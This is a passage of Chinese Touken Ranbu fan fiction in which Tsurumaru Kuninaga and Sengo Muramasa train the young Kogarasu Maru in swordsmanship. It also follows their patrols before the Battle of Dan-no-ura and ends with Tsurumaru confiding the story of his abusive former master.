那张妖艳的脸上没什么表情,眸子却定定地落在奔跑的小乌身上。 “哟,千子。”鹤丸头也没回,仿佛脑后长了眼睛,声音带着笑意,“如何?像不像个刚学会跑的小崽子?” “的确呢。” 千子村正从阴影里踱步而出,阳光落在他的发梢上。 “掌握的速度还挺快的。”他淡淡地陈述,算是认可了小乌的进步。 但他又话锋一转:“嘛,毕竟是本灵,这种程度也是最基本的。” “鹤丸,你我都很清楚现状。” “我们现在自身都难保,带着......”他顿了顿,似乎在寻找一个合适的词,最终目光落回小乌身上,“......带着他,在这里等待那不知何时才会出现的救援,甚至还要提防检非违使......成功的几率,有多大?” 这是一个很残酷的事实,千子村正觉得鹤丸这么确定他们能带着小乌一起安全地离开这个时间线是否有点太过理想了。 他不觉得就凭他们两个就能把小乌一起带出去。 鹤丸脸上的笑容却丝毫未减,反而更加明亮。 他站起身,拍了拍衣角的尘土,走到千子身边,伸手用力揽住千子略显僵硬的肩膀,声音清朗而充满力量。 “喂喂,千子,别那么悲观嘛!正因为前路艰难,同伴才更显得珍贵啊!而且——” 他看向小乌,眼神充满信任和鼓励,“他一定会努力成长的。” 隔了一段距离正在看他们两刃说悄悄话、突然被点名的小乌一愣,随即感受到鹤丸目光中的力量,他立刻挺直了背脊,虽然不知道鹤丸指的是什么,但还是用力点头:“嗯!我会努力的!” 鹤丸满意地笑了,半推半拉地把一脸“麻烦”表情的千子带到了小乌面前。 “对了,鹤丸,千子先生!” 小乌想起什么,眼睛亮晶晶地看着两人,带着一种急于分享成果的兴奋:“我现在学会用灵力了!虽然不多,但我多少可以为你们缓解一些压力。” “停!”鹤丸立刻竖起手掌,打断了他热情的提议,“这个不急。” “为什么?”小乌不解。 鹤丸指了指小乌身上那层微不可查的灵力薄膜:“你现在的灵力,就像刚挖出来的一小碗水,维持你自身这些创口的保护,不知道这一小碗的水够不够。” 他做了个夸张的吸水动作:“万一灵力循环跟不上输出,你把水分给我们,可能很快就见底了,你自己的保护膜也会崩溃,那后果......” “啊......” “所以,”鹤丸语气缓和下来,“先观察一天,看看你自己灵力的恢复速度,能不能跟上这全天候防护的消耗,等你能自给自足了,再考虑我们也不迟。” 小乌恍然大悟,认真地点点头:“我明白了!” “那么,”鹤丸活动了一下手腕,脸上露出一个狡黠的笑容,“灵力入门了,接下来,让我们看看你的战斗水平如何?作为刀剑付丧神,这可是安身立命的根本啊!” “刀术?” 小乌脸上的笑容瞬间僵住,眼神开始飘忽,手指无意识地绞着衣角,心虚得汗流浃背。 “那个......我、我的记忆不太完整,关于战斗的部分很模糊......而且......我从来没有真正实战过......”他的声音越说越小,最后几乎成了蚊子哼。 嗯......游戏里练出来的那点三瓜两枣就算了吧,丢人。 鹤丸和千子对视一眼,都从对方眼中看到了“果然如此”的了然。 “了解了解。” 鹤丸一副早有预料的表情,摆摆手。 “没关系,先看看你的底子。来,千子,你陪小家伙练练手?下手轻点啊!” 他特意叮嘱了一句。 千子村正没说话,只是默默地向前走了几步,在溪边相对平坦的空地上站定。 解下腰间的本体刀,并未出鞘,只是随意地握在手中,刀鞘末端轻轻点地。 他微微侧身,看向小乌,嘴角上扬勾起一个笑容,却带着一种无形的压力。 “来吧,拔出你的刀。” 事已至此,先吃饭......啊当然是不可能的。 小乌深吸一口气,怂唧唧地上去了。 他解下自己的刀,握紧刀柄,摆出他最熟悉的起手式。 姿势倒是像模像样,但旁观的两个刃一看就能看出他的姿势透出明显的生涩和僵硬。 鹤丸国永和千子村正都有一种不好的预感。 “请多指教!” 小乌低喝一声,然后猛地往前冲,挥刀像千子村正斜劈过去。 千子村正连脚都不用挪,刀锋即将触及身前,他握着刀鞘的手腕只是及其轻微地一抖,刀鞘便如同毒蛇出动般精准地向上一绕,一挑。 小乌的刀便被挑离右手,打着旋飞了出去。 “再来!” 小乌捡起刀,这次千子村正不再等他主动进攻,率先进攻。 小乌试图运用自己记忆自带的战斗技巧,但动作僵硬,无法融会贯通。 他想要闪避,腿跟不上眼睛,好几次差点把自己给绊倒;想要格挡,却总是慢半拍。 汗水很快就浸湿了他的鬓角,呼吸也变得急促起来。 “铛!” 小乌终于成功格挡了攻击,只觉得一股巨力从刀身传来,震得他虎口发麻,手腕一抖,刀身直接歪斜滑走,整个人重心偏移,踉跄向前冲了两步,差点直接把脖子送到千子村正的刀底下。 千子村正:“......” 鹤丸国永:“......” 真是大意了,没有闪。 惨不忍睹啊,如果在场的是他本科会不会直接跟他说这么没用死了算了? “好没用,还是切掉吧!”之类的。 想象一下真的很像髭切会说出来的话啊!! “为什么会有刀剑付丧神的刀术烂到这个地步?!”千子村正不敢置信地大叫。 小乌刚重新提起刀,千子村正就朝他冲过来,一边伸手要扒他的衣服,一边大喊:“你的本能呢?!挥刀的本能呢?!是不是衣服太紧束缚了你的发挥?让我来帮你脱了解开束缚!” “果然刀只有脱了,才能表现实力!” “呜哇哇哇哇哇!” 小乌被这架势吓得拔腿就跑。 “你不要过来啊!” “huhuhu,我不会把你吃掉的,给我站住!” 腿短的跑不过腿长的,眼看千子村正越逼越近,小乌在慌乱之际不小心把本体也丢了出去。 千子村正:“!!!” 千子村正原本还只是有点生气,现在是真绷不住了,额角暴起青筋,想把这个死孩子抓起来狠狠踹屁股! “还敢把你的本体扔了?没有本体你用什么战斗?把你的腿拔下来靠抡抡死敌人吗?!” “看我抓到你不好好教训你!” 小乌和千子村正你追我跑。 小乌和千子村正不熟悉,一直都很怵他,现在被他凶神恶煞地一追,便下意识慌不择路地朝鹤丸国永跑去,两刃绕着鹤丸国永二人转转了几圈,小乌后领子被鹤丸国永忍无可忍地薅住了。 两刃终于停下了追逐。 小乌僵硬地转头,看到鹤丸国永皮笑肉不笑的表情,耳羽的羽毛炸起。 完蛋了...... 鹤丸国永以为自己已经做好了心理准备,没想到小乌居然是这么一个卧龙凤雏。 战斗中丢下本体,对于刀剑男士来说简直就是不可饶恕的大忌! 饶是鹤丸国永自诩活了千年什么事都见过经历过,心胸阔达看得开,也和千子村正的想法同步了:真想揍一顿。 往他这跑是觉得他鹤丸国永会保他吗? 真当他是什么好脾气的刃了。 暗堕都要被气得加重了! “邦!” 给小乌脑壳一拳头,响就是好头。 “还敢扔本体?嗯?” “......” “非常抱歉!我再也不敢了!以后就算双手被砍断也会用嘴咬着刀柄战斗到死!!!” 在经过两人的一番修理后,小乌脑袋顶着个大包老实了,非常诚恳地对两位老师士下座以表决心。 撅着的屁股也隐隐作痛。 千子村正还不死心,如愿踹完了小乌的屁股还试图让小乌和他一起脱衣服,被鹤丸国永劝解下来了。 鹤丸国永:打可以,衣服就别脱了。 鹤丸国永、小乌:害怕jpg. 鹤丸国永叹气:“小乌啊......这样别说遇到时间溯行军和检非违使,你连个强盗都打不过啊。” 小乌羞愧地低下头,脸涨得通红,耳羽都恹恹地耷拉着,恨不得找个地缝钻下去。 “必须加训!疯狂地加训!你给我做好被训到死的准备吧!” 鹤丸国永冷酷地宣布。 “是!请老师们不要手下留情!” 呃啊啊啊!我要努力练刀一血前耻! 小乌暗暗发誓。 抬头一看,千子村正不知道什么时候走开了,只有鹤丸国永在他面前。 小乌:“?” 他转转脑袋找到千子村正的位置,掉了个方向士下座,大喊:“非常抱歉!请多指教!” 千子村正:“......” 千子村正一点也不适应这种场面! 他开始慌张,又挪了个位置。 小乌继续跟。 千子村正:啊啊啊啊! 千子村正像被烫到一般再退两步。 小乌:这刃在躲什么? 鹤丸国永转向千子村正,试图拉盟友:“千子,你也看到了!我们来轮流......” 千子村正立马回绝:“还是不了。” “离下一个重要历史事件不远了,时间溯行军的动向需要持续关注,不能松懈。你们同为太刀更合适进行训练,由你全权负责即可。” 千子村正拒绝的时候扭过头,甚至不愿意分给他们一个眼神。 说完,他便不再给鹤丸国永和小乌说话的机会,转身径直走开,身影很快就消失了。 “哇真是别扭啊这个人......” 鹤丸国永张了张嘴,无奈地叹了口气。 小乌看着千子村正的背影,又看向身边一脸无奈的鹤丸国永,心里有些失落和忐忑。 千子先生好像不太喜欢他......是因为他太没用了吗?所以生气了? 在这种危险的境地还要带着一个拖油瓶,被讨厌也是理所当然的...... 鹤丸国永察觉到小乌低落的情绪,伸手轻轻拍了怕他的头,拍到肿包上,在小乌的痛呼下若无其事地换成了肩膀。 “别在意小乌,千子他......刚刚失去了很重要的家人,所以心情一直不太好。不是针对你,他这个刃啊就是性格很别扭,嘴巴毒了些其实心很软,相处久了你就知道了。” “现在就先让我来教你吧!我们先从最基础的握刀开始。” 他说罢,又俏皮地朝他眨眨眼,明明现在附近就他们两个刃,却还要装着在大庭广众或悄悄话一般贴近他,小小声地说:“我敢保证,不出三天,千子那家伙就会主动来找你。” 为什么这么说? 小乌很意外,但他决定相信鹤丸。 嗯......如他所言,有的时候保持神秘才会让事情变得有趣。 小乌抬起头,心中的阴霾散去了一些,他用力点了点头,握紧手中的刀柄:“嗯!麻烦你了!鹤丸。” 接下来就是枯燥到极致的训练,日复一日,单调的指令不断重复。 小乌一次次重复着各类动作技巧的练习。 练刀便是如此,日日重复同样的练习,让肌肉在酸胀中记忆着动作,深入骨髓,让每一个动作被施展出来时都如呼吸一般自如畅快。 脚下的泥土被踩实,留下凌乱的脚印。 每一次失误鹤丸国永都会立刻指出,没有斥责,只有不断的纠正和“再来一次”的要求。 时间在专注而艰苦的训练中悄然流逝。 千子村正接手了观察时间溯行军的任务,但不代表鹤丸国永就可以放心悠哉地指导小乌了,他们需要食物和生活用品。 在训练之余,鹤丸也会带着小乌到人类集市采买,在山林中打猎。 有的时候鹤丸国永为了不浪费小乌的练习时间,也会自己一个人离开,小乌便自主练习。 第三天清晨,小乌正咬着牙独自练习时,千子村正来了。 “手腕太僵了。” “千子先生......?” 千子村正神出鬼没的,小乌丝毫没有发现他的到来,被他的突然出声吓得差点又把手里的刀丢出去。 千子村正:“......你要是敢丢出去你就死定了!!” “私密马赛啊啊啊!” “千子先生是来找我的吗?” 小乌小声问道,眼神不自觉地落到了他怀里抱着的两把木刀上。 千子村正大步走来把那两把木刀塞给他。 “真刀手合太危险了,用这个吧。”解释完还不够,还要特地多加一句嘲笑他,“特别是某个连刀都握不稳的笨蛋,huhuhuhu......” 小乌的道谢被卡在喉咙里,眼睁睁地看着千子村正嘲笑完他“huhuhu”地笑着离开了。 啊!!! 虽然是事实但是好气啊!!! 小乌气哼哼地端详这两把木刀,棱角处能看到明显的削凿痕迹,手工痕迹很明显,但是刨得很光滑,握柄缠着不知从哪件衣服撕下来的布条。 这是......千子村正自己做的? 小乌抬头,正好看见本该已经出门的鹤丸国永从灌木丛中探出脑袋,头发上还挂着几片树叶。 他躲藏的位置正是刚刚千子村正所站位置的后方。 “我说什么来着~” 鹤丸国永得意洋洋地比着耶。 小乌瞪大眼睛:“你没出门吗?” “本来是要出门的啦,但是看到千子抱着木刀朝你这过来,那我可一定要跟来瞧瞧!” 鹤丸拿起其中一把木刀:“我可是一直偷偷看着他赶工的。” 小乌拿起木刀挥了挥。 恰到好处的重量,显然是制作刃用心观察了使用者的习惯和本体的形制、重量才制作出来的。 小乌很喜欢这份礼物。 原来千子先生不讨厌他啊...... 嘿嘿。 20、第二十章 小乌像一块干涸的海绵,疯狂地吸收着鹤丸国永传授的每一个要领,从最基础的劈、砍、步法等,再到各类技巧等配合,动作趋近于标准。 小乌明白现在的处境,当人类时最主要的事就是学习,但是学习可以偷懒,练刀丝毫不敢松懈,今天松懈一刻,也许明天就会被敌人在眨眼间斩下头颅。 现在的生命是他侥幸得来的第二次生命,他非常珍惜。 而且他也不愿意拖累他人。 如果因为他的无能而害死了好心收留他的鹤丸国永和千子村正,他会愧疚到下地狱都不足惜。 小乌咬牙训练,从不抱怨长时间高强度的练习安排。 鹤丸国永不在场时也严格按照要求自主训练,空气中只剩下木刀破风的“咻咻”声和他自己粗重的喘息。 然而,这份专注很快就被打破了。 鹤丸国永出门了,只剩下小乌一人练习。 他刚摆出一个架势准备进行下一轮的练习时,眼角的余光就瞥见了一抹熟悉的紫色。 千子村正不知何时又出现在了不远处,坐在树根下,姿态慵懒,仿佛只是路过歇脚。 嗯?来干嘛的? 小乌看他两眼,见他不知从哪掏出来一把野花,一边看他训练一边慢条斯理地扯花瓣。 花瓣无声地飘落在他脚边。 小乌:? 还时不时插嘴点评两句。 “腰挺直了。” “一点力气都没有,没吃饱饭吗?” “重心再低一点!” 还会故意发出“啧啧”的咂舌声,好像在看什么有趣的表演。 小乌觉得这刃简直就和捧着冰镇西瓜在酷暑下军训的新生面前狂炫的学长一样可恶! 但小乌有火不能发,因为刃是来犯贱的,点评也是真材实料的,一针见血,不得不承认非常的有用。 一次、两次……每次鹤丸国永离开,千子村正就像是算准了时间一样,准时出现在小乌附近。 有时靠在树下祸害无辜的花花草草,有时坐在溪边的石头上玩水。 是可忍孰不可忍! 这天,当小乌再次看到千子村正慢悠悠地掏出一束紫色小花,指尖刚捏住一片花瓣时,积攒了几天都怨气终于冲破了临界点。 小乌猛吸气,不再忍耐。 他抓起放在一边备用的两把木刀,卯足了力气将其中一把向千子村正狠狠地掷去! 几乎在木刀脱手的瞬间,小乌拿着剩下的木刀动了,也不看千子村正是否接住了刀,像只被激怒地小兽朝他暴冲,目标明确。 千子村正显然没想到小乌会突然暴起,神情闪过一瞬错愕,但身体的本能反应远超意识,面对飞过来的木刀,他只是微微侧头,木刀便擦着他的耳畔飞过,咚地一声戳在树干上。 千子村正迅捷地在木刀落地前捞起,小乌的攻击也随之到来,他的攻击不再是几天前那种毫无章法的劈砍,而是一记角度刁钻,速度极快的突刺。 “啧。” 有意思,小鸟学会啄人了。 小乌拥有着付丧神的身躯,不管是身体素质还是反应能力都是相当不错的,刀剑战斗的本能刻印在这幅身躯中,经过练习,他很快就能彻底掌握,脱胎换骨。 千子村正觉得有点意思,在应对的同时思考着该叫鹤丸国永带出去实战了 没有经过真实的厮杀和鲜血的磨砺,这种程度还远远不够。 千子村正把手上的花束调换到左手,手腕翻转,用刀背磕在袭来的刀刃侧面。 “咔哒!” 一声脆响,刀刃被巧劲打偏方向,但小乌这次没有向先前那样下盘不稳,脚步错开扎下马步,顺势变化刀势,转刺为撩,直取左路空门。 千子村正是真的开始惊讶了,不敢托大,找了个空隙把花放到一边,进入了状态。 木刀交击的声音顿时如骤雨般密集地响起,有来有往地碰撞。 小乌将这几日所学毫无保留地用在了千子村正身上,虽然动作依旧有些滞涩,不如对手的老辣,但胜在专注,每一次攻击和格挡都拼尽全力做到最好,带着破釜沉舟的气势,汗水飞溅,却丝毫无法影响他的状态,眼睛亮得惊人,耳羽随着激烈的动作不断颤动。 千子村正或卸力,或引导,始终留有余地,更像是在喂招,引导小乌学会各种战斗中会出现的情况,让他在战斗中成长。 酣战许久,小乌终究还是无法和身经百战的刀剑男士相比,呼吸越来越急促,动作也逐渐开始变形,汗水浸透了衣裳。 终于在体力消耗殆尽后向后跌倒,一屁股坐在了地上,即使累得一点力都不想使,也始终牢牢握着刀。 小乌顺势躺倒,大口大口喘者粗气,片刻后,突然朝天大喊:“爽——!” 千子村正停下动作,低笑。 他很满意小乌的进步,夸赞道:“很不错呢,你的努力让我刮目相看。” 小乌累得说不出话,只能像小猪一样哼哼回应他一下。 千子村正嘴角勾起,捡回了被他放在一边的花束理了理,走回来弯腰将花递给他。 “?”小乌愣住了,累得发懵的脑子一时转不过弯,他看看花,又看看千子村正笑起来后分外柔和的脸,笑意让他那张美丽的脸更加惑人,“给我的吗?” “是的哟,送你了。” “呃......谢谢?” 小乌迟疑地伸出手,接过花束,下意识把花凑到鼻尖闻了闻,香气扑鼻,令人心旷神怡。 就是觉得这种紫色的花好像在哪里见过。 还没等小乌回想起在哪见过,就听见千子村正带着恶作剧得逞的意味说道:“huhuhu......忘了告诉你,这花有毒哦。” “什!” 小乌听后手一松,花砸在了脸上。 他的表情瞬间凝固了。 “哈哈哈哈哈哈哈——!” 看着小乌的样子,千子村正终于忍不住放声大笑起来。 他一边笑一边逃离现场,只留下小乌一个人躺在地上,对着那些花心有余悸,又气又恼。 “千子村正!!!” 小乌坐起,对着他消失的方向咬牙切齿。 等等! 他猛地看向地上的花。 这花他是不是在来到这的第一顿饭里见过?! 哈哈,那一晚,菌子和毒花都喝醉了,到底是谁犯了错呢......好难猜啊千子村正:) 自从那次手合,一种奇妙的默契开始在三人之间悄然形成。 每当小乌独自练习时,千子村正都会默默出现指导,亲身对练,全然将之前的抗拒抛在了脑后,仿佛从来没有拒绝过教导小乌。 鹤丸国永对此心知肚明,表面上却从不点破,两刃都默认了轮替外出工作。 鹤丸国永还会偷偷地和小乌笑他口是心非的毛病。 “其实他教得很认真负责。”小乌小声说,“就是总是要做点招猫逗狗的事。” 鹤丸国永揉揉小乌汗湿的头发:“他是个好老师,虽然他肯定不会承认就是了。” 他还模仿千子村正地腔调来了一句:“huhuhu~” 小乌望着一片蔚蓝的天空,嘴角不住上扬。 他觉得现在的生活很充实,从小亲人缺位的他从未体验过这种感觉,他们三刃同吃同住,就像一家人一般。 希望这样美好的时光能就此停在这一刻,但这是不现实的。 ...... “什么?这些御守都不能用吗!” “是哦。”鹤丸国永拿起一个御守,“那天从你身上扒出来的时候我就发现了,这些御守里面都是空的,只有你那个特殊的御守是有灌输灵力的。” 也就是这么一大把的从游戏带来的御守都是无效的废物。 小乌翻来覆去地检查,他现在会使用灵力了,可以探查得出来里面确实空空如也,没有一丝灵力波动。 “怎么会这样......”小乌颓废地放下御守,手指颤抖。 他原本以为这么多的御守拿来分一分,千子村正和鹤丸国永的安全就能够有保证,可现在,盘算落空了。 “别露出那种表情嘛。” “之前没有这个我们也照样过得好好的。” 骗子。 之前明明有同伴牺牲了,说明根本就没有他说得那么轻松。 小乌心里焦虑得不行。 经过几天的试验,小乌大致摸清了自己的灵力极限。 维持自己灵力的全覆盖需要五成,剩余的五成,除去保底的一成,他需要分给千子村正和鹤丸国永来帮助他们保持人身。 可现实却远比他想象的更加棘手。 千子村正倒还好,虽然暗堕具有传染性,但传染不是一躇而就的,或许是因为他妖刀的逸闻,使千子村正这把刀本身就颇具邪性,也对暗堕的侵蚀有一定的抗性,目前并未暗堕,小乌传输过去的灵力可以顺利吸收。 鹤丸国永的情况就严峻许多,他已经到了中度暗堕。 同样分量的灵力传输给他几乎不起作用,需要成倍地加大输入才能勉强延缓恶化,至于净化,以小乌目前的能力做不到净化这种程度的暗堕。 更糟糕的是他还需要为两刃手入。 灵力的分配需要精打细算,哪怕是稍微重一点的伤势都得分几天才能手入完。 如果重伤……他只能眼睁睁的看着他们碎刀。 小乌攥紧拳头,指甲深深陷入掌心。 他不想失去任何一个刃。 ...... 三月伊始,料峭春寒尚未褪去,山林间已在悄然孕育新的生机。 小乌主动请缨开始分担鹤丸国永和千子村正的巡逻任务。 鹤丸国永带着他攀上视野开阔的高崖,下方引入眼帘的是蜿蜒的山道和波光粼粼的海面。 “既然打算去时之政府,那迟早要和这些家伙打交道,以后说不定还会参与维护历史的相关事件,趁这个机会好好学习一下吧!” 鹤丸国永的声音在风的传递中清晰地传入小乌的耳内。 他指着远处模糊移动的黑影:“看好了,记住时间溯行军的种类和弱点,这样才能在战斗中省时省力地击杀他们。” 他像一个经验丰富的教官,将追踪技巧、敌人特征、弱点和战斗要领掰碎了细细传授给小乌,遇到落单或者数量不多的时间溯行军就示意小乌上前清理。 实战是最好的磨刀石。 小乌是本灵,拥有灵力可以自我修复,所以鹤丸国永和千子村正对他的要求都是:只要打不死,就往死里打。 “去吧!” “是!” 最初的几场战斗比较惊险,身上不可避免地添了不少新伤,好在小乌之前在游戏世界就已经适应了和时间溯行军相处,足够适应与它们的对战,动作越发狠厉精准,战斗风格越发悍勇,每一次受伤后的自我修复,也是对他的锻炼,使他对灵力的掌控更深一分。 “做得很好!”鹤丸国永已经能够欣慰地用力拍着小乌的肩膀告诉他,“你已经是能独当一面的刀剑男士了!” 然而随着时间的流逝,逐渐逼近决定平氏最终命运的重大历史事件坛之浦战役,他们的负担也越来越重。 时间溯行军出现的频率和数量也在呈几何级增长。 二月屋岛之战结束,平氏残军退守长门国彦岛,源氏切断了平氏退往九州的通道,平氏陷入海陆包围,补给断绝,时间溯行军也如同嗅到血腥味的鲨群,开始向这一带区域聚集游走。 三刃巡逻时遭遇的敌人规模越来越大,已经不是他们能对付的了,好几次都被迫陷入苦战,面对数倍的敌人围攻,他们只能凭借对附近地形的熟悉和彼此的默契掩护,带着一身伤狼狈撤退。 他们对此已经有了预感,时间溯行军瞄准了这场战役,一定会有大动作。 杀人容易救人难,平氏的覆灭规模庞大,并且坛之浦的战场将会在一览无余的海面上,哪怕有夜色的掩护也很难从平氏入手靠救人来改变历史,时间溯行军必然不会做这种吃力不讨好的事。 所以它们的行动目标最有可能是源赖朝或源义经。 不论是贯彻刀剑男士维护历史的使命也好,还是抱着能够搭上时政支援的顺风车的可能性也好,他们都必须时刻关注、甚至是...... 参与这场战争。 ...... 木屋里,药草的气味变得浓重。 鹤丸国永熟练地为千子村正手臂上一道深可见骨的伤口包扎,小乌则跪坐在一旁,双手覆在千子村正的本体刀上,双唇紧抿,正艰难地榨出灵力进行手入,微弱的白光在刀身上流转,进展缓慢。 空气中浮动着焦躁,千子村正盯着窗外沉沉的暮色,手指无意识地敲击膝盖,鹤丸国永脸上的笑容也彻底消失了,还有干涸凝固的血迹未被及时擦去。 小乌更是寝食难安,曾经高强度的训练能够帮助他快速入睡,现在也不起作用了,心中那份对未来和同伴伤势的忧虑如同藤曼般缠绕收紧在他的心头,令他辗转反侧,久久无法入睡。 但这也让他发现了之前从未发现过的事。 小乌优秀的夜视能力发挥了作用,借着窗外微弱的月光,他能清晰地看见身旁熟睡的鹤丸国永眉头紧锁,额角布满了细密的冷汗,甚至手脚还会间歇性地抽搐,深陷于梦魇之中。 小乌能看到他身上的代表着暗堕的黑色雾气在其陷入梦魇时沸腾,与体内的灵力展开拉锯战,试图吞噬并转化,壮大自身。 接着没过多久,鹤丸国永就会在梦中惊醒,然后轻手轻脚地走出屋外透气,直到天色将明才会回来躺下。 第二天又装着什么事情都没发生,依旧活力四射。 一连几天,小乌看着鹤丸国永逐渐恶化的精神状态,觉得不能再坐以待毙。 他在半夜保持稳定的呼吸,仗着对方非常一般的夜视能力,大胆地睁眼观察着鹤丸国永的动向,果然,没过多久,鹤丸国永便猛地睁开眼睛,瞳孔在黑暗中失焦了片刻,在黑暗的掩盖下难得露出了疲态。 他悄无声息地起身,推开木屋,黑色的身影融入夜色中。 小乌也悄悄起身跟了出去。 鹤丸国永并没有走太远,背影在月光下拉长,看起来孤寂又萧索。 他察觉到了身后的动静,有些惊讶地回头,看到是小乌,脸上闪过一丝错愕,随即化为一声苦笑,颇为无奈。 “被你发现了啊。” “嗯。”小乌走到他身边,月光轻轻地披在鹤丸国永的身上,他的声音也变得轻轻的,“在海底呆的太久已经习惯黑暗了,我的夜视能力变得很好。” 原来这样发现的,嗯嗯,在黑漆漆的海底待了千年,他很理解。 毕竟他也曾经作为陪葬品被深埋在地下许久。 小乌靠近鹤丸国永,他的眼睛暴露在小乌的视线下,那双曾经如清晨的第一缕阳光、明亮而温暖的眼眸,此刻蒙上了一层浑浊的幕布,隐隐透出不详的红色,像是污染清水的一滴墨。 是转向重度暗堕的征兆。 “你的眼睛......” 小乌的声音带着颤抖,心头涌上酸涩和心疼。 “你一直很难受对吗?我这几天一直都在看着你,我......” 他几乎是本能地伸出手,紧紧抓住了鹤丸国永微凉的手腕,将自己夜间休息时回复的一点灵力输送过去,希望能够为他驱散一些痛苦。 灵力如泥牛入海,那些盘踞在鹤丸国永体内的黑雾只是翻腾了一下,便重归死寂。 眼睛? 啊......是又变得严重了吧。 鹤丸国永轻轻叹了口气,低头看着紧紧抓着自己的手和少年泛红的眼眶,最终放弃了掩饰。 他反手握住小乌的手,阻止了他徒劳的消耗。 “别在我身上浪费灵力了,没用的。” “怎么能说是没用的呢!” 小乌生气地瞪他。 “......走吧,我们去那边坐一会,别吵醒千子。” 鹤丸国永拉着小乌又走远了一些,避开木屋的方向,然后找了个木桩子坐下,屁股向后挪挪,叉开腿露出身前一块空地,拍了拍。 “来。” 小乌不明所以,但还是顺着鹤丸国永拉扯的力道坐在他□□,背对着他,鹤丸国永伸出双臂从后面将小乌整个圈住,下巴轻轻搁在他的头顶,像是在抱着一个娃娃。 这个姿势让小乌感到一种奇异的安心,但同时也清晰的能感受到身后鹤丸国永传递过来的,无法掩饰的、因忍受痛苦而引起的颤抖。 “鹤丸......?” 小乌从来没有和人这么亲密地接触过,无措地动了动。 “别动......借我靠一下。” 鹤丸国永的声音听起来很累,有些干涩,温柔的气息随着他的开口拂过小乌的发顶,让他觉得头顶痒痒的,忍不住往上顶顶,蹭得鹤丸国永也下巴发痒,轻笑了几声。 笑过几声后又沉默了片刻,像是在整理纷乱的思绪,又像是在汲取少年身上微薄的暖意。 “小乌。” 他终于开了口,声音轻得像是怕惊扰了夜色。 “给你讲个故事吧,关于我之前的那个本丸......” 月华如水,静静流淌在林间。 鹤丸国永的声音最开始很平静,像在讲述别人的故事。 他为小乌讲述了一个爱慕虚荣、欲壑难填的审神者,将刀剑视为炫耀和发泄的工具,若无法锻造出他需要的稀有刀剑或是在活动中无法赢得他期望的荣誉,便会将怒火和扭曲的欲望倾泻在刀剑付丧神身上,甚至恶意碎刀。 述说了他是如何与那个被他作为日常言行模仿素材的的三日月宗近是如何在暗中谋划,向时之政府举报求救的。 讲了计划败露后,审神者最后鱼死网破的挣扎,那个混乱的夜晚...... “战场上为主君赢得荣誉是我等刀剑的使命,这是理所当然的,我活到现在曾辗转侍奉过许多主人,见过形形色色的手段,自以为已经对许多事都看淡了。可是......拥有□□之后,似乎和作为一把不会动不会说话的刀时的想法有些不同了。” “有了一颗人心,会有痛、会笑、会哭、会恨,又怎么还会忍受得了同袍被凌辱呢?” “三日月宗近和我策划了很久,最终向时之政府举报了他,在等待那边派人来处理的那段时间,每一分每一秒都过得如履薄冰,可是那个疯子还是察觉到了,想在时之政府到来前将我们统统杀死。” “......我让三日月快带着其他刃逃,能走多少是多少,那个臭老爷子......还想留下来和我一起面对审神者,被我吼回去了。”鹤丸国永吸了一下鼻子,声音带上了一丝哽咽,“贞坊那个傻孩子......替我挡下了审神者的攻击......” “他碎刀前,死死抓住我的手,一直在说‘鹤先生,要活下去啊,你已经为我们做得够多了,一定要活下去......’” “他的血把鹤的衣服全染红了......纯红的衣服看起来就不像鹤了啊......” 当时的他抱着太鼓钟贞宗,双手沾满鲜血,觉得好烫啊,同伴的血是那么的滚烫,他的心脏似乎也被烫出了一个又一个窟窿,再也无法恢复,再也无法被填满。 鹤丸国永的手臂无意识地收紧,将小乌揉进怀里,仿佛想从他身上汲取一点力量。 “......然后呢?” 小乌低下头揉搓他冰冷的手,声音闷闷的,带着鼻音。 “然后?啊......后来我挡在时空转换器面前将他杀死了。” 至此被鲜血染红的白鹤的世界不再雪白明亮。 说完,鹤丸国永陷入长久的沉默,一时只有风吹过树叶的沙沙声。 或许是暗堕程度过深的原因吧,让他头脑发昏,变得更加冲动,鹤丸国永觉得他已经有些压抑不住自己的情绪了,忍不住想和他人倾诉。 “其实......我该留下的。” 他的声音里充满了迷茫和自嘲。 “弑主是大罪,我应该等待时之政府到来,按规章等待审判,也许会因为审神者的过错而轻判,也可能会被刀解,可是......” 他深吸一口气,似乎想将胸腔内翻涌的浊气都吐出来。 “这大概就是拥有了人身之后的弊端吧,我似乎也染上了人类的恶性根......我不甘心……!我的命是用贞坊的命换来的,以人身现身此世也是为了维护历史而不是为了侍奉某一个人类;如果被判处刀解,因为一个人渣而毫无价值地就此死去,与其那样,我更愿意战死沙场!说不定、说不定......” 他的声音低了下去:“......还能再见到本丸曾经共事的同伴,看看他们过得好不好,然后在相遇的时候笑着问他们‘哟!见到我是不是很惊喜?’之类的话给他们一个大惊喜。” 不过...... 鹤丸国永闭上眼。 初雪般纯白的羽翼浸染成墨,此身以难浮空,唯见天际赤红。 鹤现在的模样,一点也不美啊。 还是不要让他们看见比较好吧。 “三日月啊......就知道一个人钻牛角尖,什么事都藏在心里,当成是自己的责任,我觉得他还是坐在走廊边一边赏樱喝茶一边‘哈哈哈‘装傻的样子更顺眼啦......鹤既然发现了就不可能放着他不管......” “小伽罗也是,说着不要和我们搞好关系,结果最后能够向时之政府举报成功还是多亏了他在暗中帮忙......” 鹤丸国永絮絮叨叨了一堆,话语间充满了对昔日同伴的思念。 小乌静静地听着,听到后面再也忍不住转身结结实实抱住了鹤丸国永的腰,把脸埋进他那还带着夜露凉意的衣襟里,不愿意让他看到自己泪流满面的脸。 “哦哆!” 鹤丸国永被猝不及防地拱得差点往后翻下去。 哎呀,好险好险。 “笨蛋......”闷闷的哭腔从鹤丸国永的怀里传出来,像委屈的幼兽在撒娇,又像是在愤懑地控诉,“......明明鹤丸自己也是什么事都憋在心里一个刃扛着!还好意思说三日月殿!我今天没发现的话,你是不是就一直就这样在白天强撑着带我出去巡逻?我已经成长很多了!可以独立完成巡逻的,我还可以帮你多分担一些,反正我是本灵能自我修复的......” “我和千子先生一直都在你身边啊!我们是同伴啊!为什么......为什么要一个人揽下这些责任呢?这样会让我们觉得自己很没用,不值得你依靠一样,我们并不是你的累赘......你真是气死我了!我现在超生气的哦!超级超级生气!!!” 鹤丸国永不应该是这个样子,小乌认为他应该是自由的、洒脱的,无拘无束的。 不管对不对,至少不应该像这样......这样......该怎么形容呢? ......暮气沉沉。 小乌软的来完了开始无师自通地来硬的,阴森森恐吓他:“再这样我就把你腿打断!腿断了总能歇歇心思休息了对吧?” 呜哇,突然说出了什么很可怕的话呢。 但是一想到他的本科是那个会说“不不不,我才不会没当上队长就砍自己人呢。”这种分不清是玩笑还是真威胁的髭切就觉得......嗯,一切都迎刃而解了。 